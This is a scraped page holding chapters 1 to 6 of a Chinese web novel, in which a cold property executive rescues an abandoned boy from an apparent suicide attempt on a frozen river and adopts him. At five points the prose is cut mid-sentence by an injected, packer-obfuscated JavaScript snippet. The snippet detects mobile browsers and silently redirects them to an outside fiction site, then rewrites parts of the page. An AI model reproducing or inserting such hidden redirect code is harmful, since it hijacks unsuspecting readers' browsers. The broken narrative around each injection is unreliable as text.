《被阴郁养父带走后》 1. 第1章 “金城今天气温最低为零下十五度,并有小范围降雪,出行的朋友们请注意安全。”无机质的女声从周叙白的手机里向外公放,让他目色充满隐忧地看向苏廷。 “希望走跨河大桥的时候车子别打滑。” 车后座那位薄唇抿成一道苍白的直线,睫毛垂落的阴影仿佛在脸上结了霜,皮肤泛着冷调的光泽,抬眼看周叙白的时候,瞳孔没有倒影,带着绝对零度。 他的下唇无意识地压出一道浅痕,说:“随便。” 周叙白看着他这位名义上的老板苏廷,心下冒出一阵凉气,不禁在凛冬的午后打了个寒颤。 苏廷虽然好看,但是个周所周知的怪人,他不近任何男色女色,待人永远隔着层冰幕,寒凉入了筋骨,连自己这位认识多年的老友都鲜少看他微笑。 他除了吝于笑脸之外,还在长年的生意场上锻造出一副没有心的皮囊,隔绝了一切人类的温度。 周叙白以朋友的口吻说:“其实那件事情已经过去这么久了,你早就该放下向前看了。” “周叙白,给市政的提案记得找媒体造势,我不想再看到自己心仪的地块变成什么‘惠民’的面子工程。” 看他如此油盐不进,周叙白只好应了一声,眸色也如苏廷一样渐渐转冷,看向萧瑟的冬景。 窗外的天色雾蒙蒙一片,入眼的全是高耸如云的乔木,沿着蜿蜒的河道渐次消弭,随后循环往复,无穷无尽,就像金城漫长而寒冷的冬天。 周叙白想起他和苏廷十年前读高中时,冬天就常在这条河上玩,凛冽的气候让冰层非常厚重,托举着他们的少时。周叙白当时不害怕,是因为冰层虽然透明,也看得到脚下激流的水,但他是跟最好的朋友在一起。 而现在,他们手段了得,无所不用其极,在沙场中战无不胜,甚至背负骂名,周叙白依然不怕。 因为苏廷一直都在。 “对了,苏廷,”周叙白直呼其名,“你那位温言玉早上又打电话过来,问我你为什么不接他电话。” 苏廷漠然抬头,看着驾驶位上的周叙白竟心不在焉,说:“没有什么你的我的,温言玉喜欢打就让他打好了。” “我劝你趁早拒绝,省得别人情根深种。”周叙白说。 “温言玉是什么身份你忘了吗?贸然拒绝他,会让我得罪他们整个家族。”苏廷微眯着桃花眼,下眼睑压出粗粝的弧度,“周叙白,你最近挺放肆的。” 周叙白微抬起双眼,看了眼后视镜里面容苍白的苏廷:“你也是。” 苏廷轻嗤一声,自顾自地开始刷国际新闻。 这时,周叙白突然踩了脚刹车,车子一顿,苏廷的身子突然前倾,让他面露愠色:“周叙白,好好开车。” 周叙白伸出食指,指着远处的河面:“好像有人在砸冰面。” 苏廷随着周叙白的目光向外看去,果然在冰封的河面上看到小小的黑色人影,正默然伫立,铆足力气抬起巨型石块,一眨不眨地朝冰面砸去。 似乎像下定了某种决心。 该不会是…… 周叙白猛踩刹车,将车停在路边,他定了定神,想看清楚那人究竟什么意图,毕竟这么冷的天在冰面钓鱼的人也大有人在,万一是谁想钓鱼呢。 可是他越看越觉得不对劲,那人影很小,身量不足,明显是个未成年人,拿这么大的石头砸冰是不想活命了吗?! 周叙白叫了声“不好”,便夺门而出,深色的风衣随风大幅度地摇摆,很快就进入河面。苏廷这才意识到砸冰的小孩是准备自杀赴死,自二十二岁之后再无悸动的心脏此时竟跳个不停,慌不择路地抛下还未熄火的车子,赶往声源的位置。 冰凉的温度从脚底传来,让刚才吹着暖气的两人感到彻骨的寒冷,周叙白喘着粗气,已率先跑到,他紧盯着脚下逐渐开裂的冰层,单手抄起那男生的腰,折身回跑,他看着向自己逼近的苏廷:“快离开这!有危险!” 苏廷这么多年什么事情都一点就通,唯独不会游泳,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035945|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候冰面破碎,他能救的只有苏廷,手上的小孩可就顾不上了。 还好苏廷准确接收了信号,在河面上迅速一稳,半张着手臂,重心微微下移,告诫周叙白:“你慢点跑。” 周叙白忍不住笑了:“真到关键时候,我发现你还是挺惜命的。” “废话这么多,一会儿咱们三个都要冻死。” 怀里的男孩不住地挣扎,似乎嫌他们命长一样。 周叙白弹了下男孩的脑门,踩着行将欲碎的冰层与苏廷一同来到岸边。 苏廷对那孩子实在也使不出好脸,谁家孩子会好端端地寻死觅活? 那男孩看起来十岁出头,身穿磨损的黑色羽绒服,裤腿松垮,用嶙峋来形容骨量也不算过分,活像个难民。 不过,他眉目间的清秀让人移不开眼,苏廷也不好乱发脾气,只道:“你的爸妈呢?家在哪里?给我个地址,我们把你送回家好吗?” 鼻涕眼泪一瞬间就挂上了男孩的脸庞,他哭道:“他们都不要我了……我也不知道这是哪里……他们为什么要把我扔下不管啊。” 眼看男孩越哭越汹涌,周叙白与苏廷对视一眼,似乎都想让对方来处理好这孩子。远离麻烦,永远是他们的箴言。 “这年头,怎么还会有人抛弃孩子。”周叙白不解,用探寻的目光看着苏廷。 “报警吧。”苏廷说。 像是触碰到某种开关,男孩皱起眉头,大叫道:“不行!绝对不行!” 苏廷问:“为什么?” “因为……因为……我不想被送到孤儿院,你们饶了我,让我去死行吗。” 周叙白:“到底发生了什么事,让你这么小的年纪就非要提死不死的。” “因为早死早托生,下辈子我才有肉吃。” “你小子是电视看多了?这算什么歪理邪说?”周叙白冷冷地说。 苏廷微挑着眉梢,眼神极其轻微地聚焦:“你叫什么名字?” “叶修明。” 2. 第2章 话音才落,这个自称是叶修明的男孩就猛地回身,向河内冲刺过去,周叙白和苏廷同时伸手,苏廷的运气要好些,堪堪抓住叶修明的羽绒服布料,然后将他拖拽回来,躬身下来,说:“人死了就是死了,没有下辈子,那都是骗鬼的。” 周叙白也帮腔:“对啊,难道你想当小鬼吗,小鬼。” “我叫叶修明!不是什么小鬼!” 这名字倒不像是他胡乱起的,更不像出自困难到必须割舍爱子的家庭,周叙白很快就回过味来,问他:“你当真没有撒谎?确实是被爸妈抛弃的?” “是。” “他们为什么不要你?” 叶修明的瞳孔微动,身体瑟瑟发抖,小声说:“我不知道,我什么都不知道。” 苏廷用眼神喝住周叙白,让他别再逼问。自己则牵起叶修明的手带他到车上坐好,“这里有暖气,你先热热身子,千万别随便乱跑。” 关上车门后,苏廷和周叙白走到稍远的地方,同时微微侧身,回眸若有所思地看了眼车的方向。 “怎么办?”周叙白问。 苏廷顿时觉得有些麻烦。 他从没处理过这种事情。 正当苏廷不知所措的时候,一通电话悄然而至,在他的大衣口袋震动不停。 略微有些不耐烦地拿出手机,来电页面“温言玉”的大名像刀刺,让他百爪挠心。 一年前,他在一次招商会上认识温大公子。当时苏廷作为新锐公司扉合地产的总裁,被邀请在分论坛作高管演讲,恰好推广手上与政府合作的文旅项目,却未曾想成为温言玉想要追逐的猎物。 温言玉的攻势强劲,苏廷不论到哪出差,都能在入住的酒店前台收到一束玫瑰,附赠温言玉那透露着志在必得的卡片。 这一年,苏廷没停下天南海北的出差,温言玉也从未停歇追求他的脚步。 像今天这样的电话当然也没断过,温言玉总是忍不住要嘘寒问暖一番,好像他们是熟络的至交。 “喂,苏廷,你现在能答应我了吗。”电话那端的尾音被拉得很长,似乎想延迟苏廷对自己的审判结果。 “我答应你什么。” 苏廷揣着明白装糊涂。 “答应当我的男友,我就让爸爸把东边那块最值钱的地皮全批给你。” 苏廷不得不承认,温言玉的提议挺吸引人的。他自己白手起家,操劳到死才换来个“业界新锐”,创业的这五年将他活生生扒了几层皮,“免费”二字在商场确不多见了。 “我——”苏廷倒不是想驳他的好意,只是不想驳他爸的面子。 恰在此时,车门闷声关上的声音传来,叶修明道:“我好饿!” 叶修明大概真的饿坏了,这一声清脆洪亮,一定被电话收了音,所以出现短暂的停顿。 温言玉的声音发抖:“你有孩子?你不是同性恋…?” 还没等苏廷解释真相,温言玉就克制有礼地说:“对不起,原来你跟我想象中的不一样,之前就当是我一厢情愿吧。” 苏廷的眼眸明晃晃地一亮,突然意识到车内的叶修明也许是隔绝这些骚扰的最趁手的武器,对啊,他无意去勾惹红尘里的是非,有孩子恰能永绝后患,起码对同性恋生效。 他一向把自己隐藏得妥帖,不允许再表露出非常人一般的情意,温言玉和那些追逐在自己身后的男男女女们,早已困扰他许久。 所以苏廷回复:“他确实是我的非婚子,我应该早点告诉你的。” 温言玉轻笑一声:“你也没有告诉我的义务,好了,打扰了,我的苏总。” 苏廷不着痕迹地用舌尖舔舐着下唇,挂断电话,步履轻盈,踩着肮脏的泥泞开门上车,周叙白殿后,随即也回到车上。 “苏廷,咱们去哪?” “去警察局。”苏廷说。 叶修明立刻想开车门:“我不要!” 苏廷从一侧按下他的手腕,说:“我不能私自把你领养回家,这在法律上是不成立的。只有通过警察,等他们寻找你的父母无果、确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035946|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认你是孤儿状态后,我领你回家才名正言顺。” 叶修明哪听得懂这话,觉得这些不过是大人的托辞,他的真实目的一定是摆脱自己! 不想,苏廷柔声下来,说:“我答应你,时间不会太长,最多一个月,到时候我一定去你在的机构,接你回家。” 他笑:“而且,你就不怕我是坏人?” 叶修明认真把他看着,觉得他长得真够好看的,好看的人总不会有坏人吧,于是他恳切地摇着头,活像个小拨浪鼓。 “就算你是,我也没办法。” 周叙白微微偏头:“你这位小爸,还真算不上坏人,如果真要算的话,应该叫没开化的愚人。” 叶修明才十一岁,他有条件听不懂,稚嫩的嗓音响起:“他是我小爸,那你是大爸吗?” 周叙白差点被自己的口水呛死。 “小子,你知道这是什么意思吗?”周叙白说。 叶修明的童言稚语差点把另两位吓到胆破,“我见过像你们这样的,没关系的,你们不用不好意思。” 周叙白偷偷从后视镜观察已经面如菜色的苏廷,唇线抿成一条直线,似笑非笑道:“叶修明,没有的事,你放心。” 那语气倒不像是让叶修明放心,而是让苏廷把心放肚子里。 毕竟,周叙白作为他的助理,早就对各色型男靓女进攻苏廷的行为脱敏了,但他知道,苏廷没有,任何牵扯到感情进退的东西,都足以让苏廷恐慌。 他与爱情八字不合,五行犯冲。 周叙白是顾见清事件的亲历者,懂得苏廷这些年冷若冰霜的缘由。 顾见清对苏廷的伤害有着灾难性的长尾效应,任谁听闻都要唏嘘两声。 犹记得苏廷刚刚失恋,枯坐在河畔时的惨状,那痛是不着痕迹,却又漫无边际的。当时苏廷惨然失笑,对周叙白道:“未来的几年,记得提醒我不要再来这条河。” 如今这河带来一便宜儿子,究竟是喜是忧呢? “派出所到了。” 3. 第3章 那是附近辖区的派出所,民警了解清楚情况后,迅速拿出口腔拭子现场取样,让叶修明直犯恶心,以为自己的喉管要被扯出来。 “可以了吧,我可以跟苏小爸去吃肉了吗。”叶修明揉着脖子说。 民警说:“小朋友,在等DNA库比对出结果的这段时间,你要暂住在福利院。” 苏廷跟周叙白对视一眼,说:“如果没比对成功,我什么时候能领养他。” “还要民政部门发布寻亲公告,如果公告期满还是没有父母认领,才成为可收养状态。不过……”那民警抿嘴一笑:“能找到不是最好吗,谁都不如自己的亲生父母好。” 这话连周叙白都不能苟同,如果叶修明的父母真那么好,又怎么会遗弃他呢。 苏廷弯身,视线与叶修明的齐平:“你相信叔叔吗?” 叶修明几不可见地摇了摇头,他是个被亲生父母抛弃的人,谁都不敢相信。然而叶修明不知道的是,他的不信任深深刺痛了苏廷脆弱的心脏,也让苏廷笃定,到时一定会提出领养,不再让谁失望。 时间很快来到公告期满,苏廷从小道消息得知叶修明的福利院,几天后便顺利完成了所有手续,拿到收养登记证,上了户口,带他回家。 接到叶修明时,他还穿着砸冰洞那天的羽绒服,某些地方已经被磨得发亮,苏廷绕路带他买了几身应季的衣服,苏廷不喜欢花花绿绿的颜色,觉得聒噪,就只给叶修明配的黑白两色。 叶修明摸着厚重的羊绒大衣,神色奇妙地看着正在开车的苏廷:“你为什么这么久才来接我,都已经超过了一个月。” 苏廷的视线在后视镜中与他对上,“办理手续和家庭评估耽搁了。” “真的吗?” “真的。” “你是真心想收养我?” 苏廷竟破天荒地笑了,“拜托,如果不是真心领养,你现在还在福利院过苦日子呢。” 意识到叶修明有可能被这句话刺痛,进而想到生身父母不要他的事实,忙改口道:“我是说……我也是在和时间赛跑,跟你的父母赛跑。” “你不用安慰我,苏小爸。” 苏廷就专心致志地继续开车了。 他住在金城寸土寸金的市中心的顶层公寓,周边是他开发的高档社区,当他领着叶修明到屋顶欣赏泳池时,叮嘱道:“没人陪的时候,记得不要一个人跑上来,危险。” 叶修明“嗯”了一声。 “对了,叶修明,你在哪里出生?是金城吗?” 叶修明扯着还未来得及换的羽绒服,说:“我可不可以把这个当成秘密。” 苏廷没想到他会存这种心思,问:“为什么?” “不为什么,我不想说。”叶修明如实回答,他看着即将垂落的太阳,“我肚子饿,你会做饭吗。” 苏廷笑了笑,“会,但是不好吃,我带你到附近最好的餐厅,怎么样。” 叶修明说好。 说着,他们就步行到Threshold,这是金城超五星级的豪华酒店,在大厅处引起了一阵不小的骚动,只见酒店经理亲自出场给苏廷按下电梯按钮,还一脸谄媚地目送他们进去,叶修明等电梯门一关,抬头目视着苏廷:“他们为什么对你这么好。” “因为我是他们的老板。” 叶修明不禁“嚯”了一声。 从他的表情来看,苏廷好像只是有件趁手的玩具,不值得他大惊小怪一次,他这种波澜不惊的态度倒引起苏廷的好奇,不由得仔细观察这个半路冒出来的儿子。 他的外套虽然老旧,但有着不错的质感,看起来不像是揭不开锅的人家。 当然,还有他处变不惊的样子,苏廷甚至经常能从那些纨绔子弟身上见到。 那是种生理欲望被餍足后的饱腹感。 他们到达顶楼的意式西餐厅Caos Ordinato(有序的混乱),那家店的老板是位对美食极其讲究的海归,因为在国内吃不到地道的西西里卡诺里卷,毅然决然在繁华闹市开了这家店。 推门进去,就是地中海风格的悠扬音乐,苏廷走到预定的靠窗座位,示意叶修明先坐。 窗外彤云四合,长空如洗,恰好能将这座繁华之城尽收眼底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035947|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叶修明用手撑着额头,面无表情地看着一切。 “先来一瓶Prosecco,”他把菜单递给叶修明:“剩下的你自己点。” “你只喝酒吗?”叶修明接过菜单,扫了一眼,再灼灼地盯着苏廷。 “你认识这个单词?” “只有酒才用‘瓶’,”叶修明快速指着菜单,不一会前菜主菜甜点就都点完了。 苏廷打趣:“你倒是会吃。” 叶修明伸了个懒腰,紧接着就百无聊赖地偏过头去,继续他对暮色的欣赏。 等配菜一上,苏廷面对长相怪异的罗马式洋蓟露出一丝怀疑人生的模样——这菜饶是经常拿这当餐厅的他来说都不常点,洋蓟的味道像是竹笋和栗子的混合风味,口味奇异,一旦烹饪不当,还会硬涩无比。 他不由地说:“你是看图片好看才点的吧。” 实在下不去叉子。 没想到叶修明淡淡一笑,说:“多吃洋蓟对身体好,我妈说的。” 就着叶修明的话头,苏廷小心翼翼试探:“你父母是做什么的?” “我不知道,”他有点不耐烦地拿起刀叉,熟练地将那沾满酱汁的洋蓟挑进盘中,“别问了行吗。” 苏廷的脸上现出一丝不易察觉的哀怨,好像在无声地控诉这位儿子的无情冷漠。 “我不会像其他当父母的那样要求你尽善尽美,你只要完成老师给的课业,长成健康正直的大人就行。”不知为什么,苏廷说:“我更不会抛弃你,这一点你可以放心。” 叶修明欲言又止地看着他,缓了好久才继续动刀叉,他熟稔的动作毫不拖沓,吃东西也静默无声,苏廷难免会多看他两眼。 “别看了,我不会把自己噎死。” 苏廷心里嗤笑一声,不动声色地开始用餐。 这顿饭两人的脸上都写着不熟,苏廷心想,这样也好,人类的情感太过厚重,又太过缥缈,转瞬即逝。 谁都不会怀疑真心,但真心瞬息万变。 所以,当这家餐厅的老板傅西辞拿着瓶柠檬切罗出现时,苏廷恢复了如常的冷感。 4. 第4章 傅西辞正用掌心抵着那瓶利口酒的瓶底,用来激发酒的香气,这一看就是行家,只听他用温和的声音对苏廷说:“苏先生,这是本店免费送你的餐后酒。” 当着叶修明的面,苏廷有点不好发作——傅西辞从某种程度上,也是那些令他困扰的男男女女之一。 Caos Ordinato当初选择在Threshold开业时,傅西辞曾找人托话给自己,说他曾在罗马见过苏廷。 苏廷当然一百个不信。 直到傅西辞拿出他在特莱维许愿池拍的照片。 照片中喷泉周边人山人海,但一眼就能在人群中锁定苏廷,他正对着喷泉中央的海神波塞冬,虔诚地投掷硬币许愿。 那长相极具东方魅力,眉眼间又有淡淡的忧郁,与周围的游客界限分明。 苏廷看到这张照片的时候无疑有些惊惧,可更令他煎熬的是傅西辞第一次见他说的话。 “如果你许的愿里没有‘再回罗马’,就是失效的。” 当时Caos Ordinato刚开业,苏廷作为第一批到场庆贺的人,竟被当场泼了许愿无效的冷水,他暗中捏着掌心的脉搏,眼神近乎失焦。 “我猜你那时的愿望跟感情有关?”傅西辞问,“可以冒昧地问一下,到底是什么愿望吗?反正也实现不了,说说总无所谓吧。” 苏廷:“……” 他当时的心愿,永远不会跟其他人分享。 哪怕是已经相识两年、经常以各种借口送他酒的的傅西辞,也不可能知道。 “苏廷,这个小朋友是谁?” 苏廷淡淡道:“我儿子。” 傅西辞的骨相犀利,有着混血儿般优越的轮廓,此时,他平日里还算柔和的脸庞顿时填满阴色,深深的眼窝里几乎看不见眼底的内容。 “你代孕的吗?”傅西辞对属于自己的群体有着敏锐的雷达,苏廷喜欢男人是个不争的事实,唯一可能造出儿子的办法就是代孕。 没想到苏廷说:“私生子,正常受孕。” “你十几岁就跟女人上床了?”傅西辞不敢置信地死盯着苏廷,那瓶柠檬切罗也在餐桌上磕出一声轻响。 苏廷二十七岁,叶修明十一岁,十六岁的年龄差也的确生得出来。 苏廷轻笑:“年轻时不懂事。” 此时的叶修明正看戏般地打量着两人的互动,T骨牛排上的酱汁都快被他涂入-肉了。 他突然起了玩乐的心思。 用奶声道:“爸爸,我们早点回家吧,周叔叔说给我买了很多玩具,我想早点回去看看呢。” 苏廷一愣,周叔叔?周叙白吗?他探向叶修明玩味的眼睛,顿时明白这是叶修明火急救场的妙招。 他就顺着说:“西辞,你的好意我心领了,这瓶酒送给更有需要的人吧。” 傅西辞知道苏廷指的不只是这瓶酒而已。 可他想得到苏廷,想得快疯了,他甚至可以为了苏廷抛弃男同找女人生孩子的偏见,接受眼前这个毛头小子。 周叔叔……不就是苏廷身边的助理跟班吗?这小子想拿周叙白骗自己,火候还嫩点。傅西辞的眼光流转,笑意直达眼底,“周叙白为了硬攀关系,也是下了血本。不过苏廷,他不只是助理吗?用他来挡我,说不过去。” 苏廷被怼得哑口无言。 可惜了,叶修明只认识他身边这一个男人,下回……等他好好训练训练,说不定真能发挥奇兵的功效。 这次,暂且就当是一次练兵,总还有起效的时候。 “西辞,我还有事,想带我儿子出去兜兜风。”他起身,拉住叶修明的袖口,把他从还没吃完的牛排里拽了出来,叶修明瞪了他一眼,虽然不明所以,但也只好知趣地跟他一起离开了。 “我还没吃饱呢。”叶修明愤愤地说,似乎真对苏廷的贸然中断感到生气。 苏廷用修长的手指按下电梯一楼的键,“回去给你做夜宵吧。” 这是叶修明领养到家的第一天,他不能表露出一丝的不耐烦。 叶修明抱着臂,活像个小大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035948|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他直直地看着苏廷的背影,说:“你这样在外面招蜂引蝶的,大爸知道吗。” 苏廷默然回头,面容冷肃道:“周叙白不是什么大爸,我们两个只是普通的上下级,没有你说的那么不堪。” “就算他是我的大爸,用‘不堪’来形容也不合适。” “你……”小嘴跟淬了毒一样。苏廷的脸上一阵青一阵白,几乎要让这小子全然打败了。 晚风冷得透彻,冬日的街景看起来有些许地岑寂,一长一矮的身影正迎着寒风踱步,叶修明捂着羽绒服的领子,说:“我又走饿了。” “因为你非要吃洋蓟。” “是你受不了那个人的骚扰。” 有句话苏廷想说但不敢说,没准这孩子被爸妈扔下不管,就是因为这张嘴。 蓦然间,一个身着破旧的小女孩提着一捧玫瑰花艰难地走到两人身边,她瞪着茫然无措的双眼,拦下他们,说:“叔叔,买几束花吧。” 不吃这套的苏廷一脸阴滞,作势要走,却不想叶修明却蹲在了女孩身边,问道:“你爸爸妈妈呢?是他们让你卖花的吗?” 女孩的眼眶突然泛红,摇了摇头。 “那你是被迫的?” 女孩犹犹豫豫了半天,才说:“是……” 忽然,满脸横肉的中年男人横在女孩和叶修明之间,似乎不想让他们有过多的交流,拉起女孩的领口就往人群稀疏的地方走了。 叶修明伸出手,手背上还有隐隐的伤痕,他捏紧苏廷的黑色袖子,指着女孩渐行渐远的身影说:“她一定是被拐卖的,苏小爸你能把她也领养回家吗。” 先不说年轻的单身男性能不能领养女孩,无论从情感还是理智的层面,苏廷都不愿去蹚这趟浑水,他的情感本就封存在深沉的河底,淡漠疏离,上一次他毫无保留地将自己交出去,几乎摔得粉身碎骨,清誉不保。 他走出来,用了整整五年。 一想到这里,苏廷本就阴滞的脸庞顿时坚硬了几分,用坚决的口气说:“有你一个就够了。” 5. 第5章 回去的路上,叶修明肉眼可见地不高兴,苏廷没理他这茬,独自去给他收拾房间了。他的家是顶楼复式,一共五个卧室,苏廷给叶修明选了个跟自己同层的大卧室,选定后就开始生疏地摆弄床上用品。 佣人见他亲自在忙这些事情,忙从他手上接过深灰色的被罩,“我来吧,苏先生。” 苏廷便去主卧的阳台打电话了。 叶修明此时正在客厅生闷气,想不通为什么不能救救那个女孩,该死的成年人,为什么总是让人失望? 想着想着,他就快速移步到苏廷的卧室门前,无意间听到苏廷正在报警,还报出了刚才的确切地址,叶修明的脸色即刻柔和了不少,心想苏廷可能的确有自己的苦衷,本质上他也不算坏人。 正当他想推门而入时,就听苏廷清锐的声音说:“周叙白,帮我查一下叶修明真实的身世,我倒要看看他到底是谁家的富少爷。” 也不知周叙白回了他什么,苏廷继续说:“因为他好像对金钱免疫了,对周遭的一切表现得过于平静。” 叶修明心里一紧,顿时就明白他到底几个意思。下一秒,他就像被浑不吝的小鬼附体,展臂在豪宅里跑跳,对着星夜璀璨的外景大呼道:“哇!我从来没见过这么好看的风景!” 他故意把声量抬得很高,故意表现得充满童真,着实把家里的佣人吓到了。 苏廷闻声推门走到空旷的客厅,只见叶修明的双臂轮流一高一低,像是化作他的双翅,带他翱翔,怔色难免挂在苏廷的脸上。 他微微偏着头,观察叶修明身上那股浑然天成的傻劲。 “苏小爸!原来我们是有钱人吗?!”叶修明的装傻充愣还在继续,他拖着脚凳来到窗前,一屁股就坐上黑色的软皮,他乍然一跳,“啊!原来沙发都是真皮的,苏小爸,你到底有多少钱?” 苏廷微皱起眉头,又是那副冷郁的神色,眸光说不清的暗沉。 “我们来约法三章吧,叶修明。”苏廷一指茶几边的沙发,“坐那去。” “什么叫‘约法三章’呀?”叶修明乖巧地坐上正对苏廷的沙发,双手扶住双膝,用懵懂稚拙的眼神看着苏廷,等他发话。 “首先,我神经有些衰弱,害怕吵,在家里务必要小声说话,这是基本的礼仪。其次……贸然问别人的身价是不礼貌的,我希望你今后不要对其他人问出同样的问题。” 苏廷此时已将大衣脱掉,白色衬衣外是精致的V领黑色羊毛开衫,冷色调的顶灯下面色苍白,尽成消瘦,气质也是脱俗的。 标准的桃花眼里却全是寒冰。 叶修明又动懂了,他这是表演得太过火,引起了苏廷的反感。可他是被父母丢下不要的小孩,没资格强求事事顺心,在别人的屋檐下,当然要守别人的规矩。 他不禁难过得蓄起泪水,对着苏廷低下了头。 让他更难过的事情在深夜里才发生,那晚北风刮得剧烈,窗棂阵阵作响,让叶修明惧怕得钻在了被窝里,等他实在熬不过去,准备去苏廷的卧室寻求安慰时,不经意间又听到了苏廷打电话的声音。 “周叙白,帮我给叶修明找一个教礼仪的老师,他的学校也要尽快找了。” 那声音凛冽到冰封,无意间刺痛了叶修明的心口。 他黯然失色地缩回了房间,抬头无措地听狂风乱响,也许这个世界上从来都没有十全十美,从他肚子饿到非要找人寄居的时候开始,就没得选了。 “为什么……为什么你们不要我…?” 第二天,叶修明顶着红肿的眼睛自然醒来,恰巧遇上收拾利索准备出门的苏廷,苏廷迅速扫了眼他的灰蓝色秋裤,脸上划过一瞬的难以理解,叶修明见状忙解释:“还没来得及拆新衣服。” 苏廷温温淡淡地整理衣袖,“我白天基本不在家,晚上要看心情,到时间会有人提醒你吃饭,私人教师下午就来,下周一开始正式去学校读书。” 寥寥几句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035949|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就把叶修明的生活精准解决,这是苏廷惯有的速度和效率,正当他一身中正地拿起公文包准备离开时,叶修明怅然若失地说:“可我害怕一个人,能跟你一起去上班吗。” 苏廷用眼神指向他身后的三名佣人,面如板岩:“‘人’就在你身后,记住,永远不要打乱别人的计划。” 叶修明像做错事的孩子,垂下脑袋,看不清表情。 原来,想要在这个家里立足,要遵守的规矩不少。 这个奢华却毫无生气的住所,环境压抑,佣人沉默,规矩森严。在私人教师下午到来之后,情况变得更加恶劣。 那老师不过二十出头,却打扮成精英模样,衣服、头发、甚至皮肤都管理得井井有条,看不出任何瑕疵。 “我叫施方逸,你叫什么名字?” “叶修明。”他说。 “小叶同学,未来这段时间就由我教会你基本的社交礼仪、家庭礼仪等,哦对了,还有特殊场合比如婚礼、葬礼时用到的礼节。”施方逸笑着把他的笔记本电脑连上家里的投影,“为了让你学起来不那么枯燥,方逸哥哥还给你准备了很多普及知识的动画,你一定会很喜欢的。” 叶修明看着那花里胡哨的投影:“你当我是三岁小朋友?” “我拿你当十岁的小朋友,”施方逸用长指捻起激光遥控笔,打开,将课件翻了几十页,精准地找到“家庭礼仪”的部分后,说:“顶嘴也是不礼貌的哦。” 叶修明刚想说这些东西他都被爸妈逼着学过,就被这个念头吓怕了——他有些害怕苏廷顺藤摸瓜地找到弃他如敝履的爸妈。 他不能让苏廷知道自己的身世。 “小叶同学,别人跟你说话,要记得有所回应,这才是有教养的孩子应该做的。”施方逸旷达一笑,“不然你说,如果每个祖国的花朵都像你一样,那我们国家还有希望吗。” 叶修明差点上去把他手啃破。 “爱完蛋完蛋呗!” 6. 第6章 这句话脱口一出,也带出不少的祸事。苏廷似乎对这方面的容错度很低,不允许自己的屋檐下出现乱讲狂言的,那天还没到下午四点他就赶回了家。 施方逸此时还没走,给了苏廷一个“你看着办吧”的眼神后,“唉”一声,无不失望地离开公寓。 “你没事吧。”苏廷凛着眉头,薄暗而红润的嘴唇绷得很紧。 “我当然有事了!你给我找的这叫什么狗屁老师!他竟然PUA我!” 苏廷一字一句:“我的意思是……你——没——事儿吧?” “啊?” 这口气一变,意思就千差万别了,叶修明这才悟出苏廷的反讽,顿时噤声。 苏廷则捏着突突直跳的眉心,气虚地说:“现在我的办公室正坐着三位大律师等着我,叶修明,敢这么打断我开会的人还从来没有,你觉得自己乖吗。” “乖……不乖……”叶修明左右摇摆,“那你觉得我乖不乖?” 苏廷觉得自己这么多年的见识还是浅短了,掷出一声嗤笑。 他唯一的一片私人领地还被别人肆意入侵,想把这位入侵者打造成自己能忍受的样子,不过分吧,他可从来不喜欢不胜其烦的玩意儿。 “不乖。” “那……你要赶我走吗?”叶修明不知何时起就开始眼眶微红,气息杂乱,仿佛在等待一场残酷的宣判。 “我不想再回到吃不饱肚子的地方了。” 苏廷有点无语地把他盯到。 